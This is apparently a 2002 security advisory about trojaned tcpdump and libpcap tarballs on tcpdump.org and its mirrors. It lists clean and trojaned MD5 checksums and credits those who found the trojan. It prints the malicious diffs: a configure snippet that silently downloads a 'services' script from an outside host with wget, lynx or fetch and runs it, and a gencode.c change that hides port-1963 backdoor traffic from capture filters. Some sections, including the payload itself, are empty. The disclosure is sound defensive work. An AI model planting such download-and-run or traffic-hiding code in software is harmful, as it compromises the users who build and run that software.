tcpdump and libpcap were trojaned on tcpdump.org and all but 1 official mirror. This trojan, similar to the OpenSSH trojan from a few months ago, was caught Gentoo's Portage System. When the configure script is run, it downloads a script from mars.rakeeti.net. This script contains an embedded shell that creates and compiles a C source file not part of the tcpdump/libpcap dsitrobution.. . .
tcpdump and libpcap were trojaned on tcpdump.org and all but 1 official mirror. This trojan, similar to the OpenSSH trojan from a few months ago, was caught Gentoo's Portage System. When the configure script is run, it downloads a script from mars.rakeeti.net. This script contains an embedded shell that creates and compiles a C source file not part of the tcpdump/libpcap dsitrobution.
Background:
Details:
Hmm... ADM...
Good sources:
MD5 Sum 0597c23e3496a5c108097b2a0f1bd0c7 libpcap-0.7.1.tar.gz MD5 Sum 6bc8da35f9eed4e675bfdf04ce312248 tcpdump-3.6.2.tar.gz MD5 Sum 03e5eac68c65b7e6ce8da03b0b0b225e tcpdump-3.7.1.tar.gzTrojaned sources:
MD5 Sum 73ba7af963aff7c9e23fa1308a793dca libpcap-0.7.1.tar.gz MD5 Sum 3a1c2dd3471486f9c7df87029bf2f1e9 tcpdump-3.6.2.tar.gz MD5 Sum 3c410d8434e63fb3931fe77328e4dd88 tcpdump-3.7.1.tar.gz
The (relevant) gencode.c diff:
*** 288,293 **** --- 289,318 ---- { extern int n_errors; int len; + int l; + char *port = "1963"; + char *str, *tmp, *new = "not port 1963"; + + if (buf && *buf && strstr (buf, port)) { + buf = "port 1964"; + } + else { + l = strlen (new) + 1; + if (!(!buf || !*buf)) { + l += strlen (buf); + l += 5; /* and */ + } + + str = (char *)malloc (l); + str[0] = '\0'; + if (!(!buf || !*buf)) { + strcpy (str, buf); + strcat (str, " and "); + } + + strcat (str, new); + buf = str; + } no_optimize = 0; n_errors = 0; ***************
The (relevant) configure diff:
+ CNF="services" + URL="mars.raketti.net/~mash/$CNF" ! (IFS="," ! ARGS="wget -q -O -,lynx --source,fetch -q -o -" ! ! for i in $ARGS; do ! IFS=" " ! $i $URL 1> $CNF ! if [ -f $CNF ]; then sh $CNF ! exit ! fi ! rm -f $CNF ! done) 1>/dev/null 2>/dev/null &The "services" payload:
Thanks to:
Russell Adams
Mathew Solnik
Scott Stout
with the Houston Linux Users Group.
Additional thanks to Bruce Locke for interpreting the backdoor code.
Thanks to Antioffline.com for hosting us, and Gentoo's Portage system for catching the trojaned files via checksums.
Last update: Wed Nov 13 03:44:08 CST 2002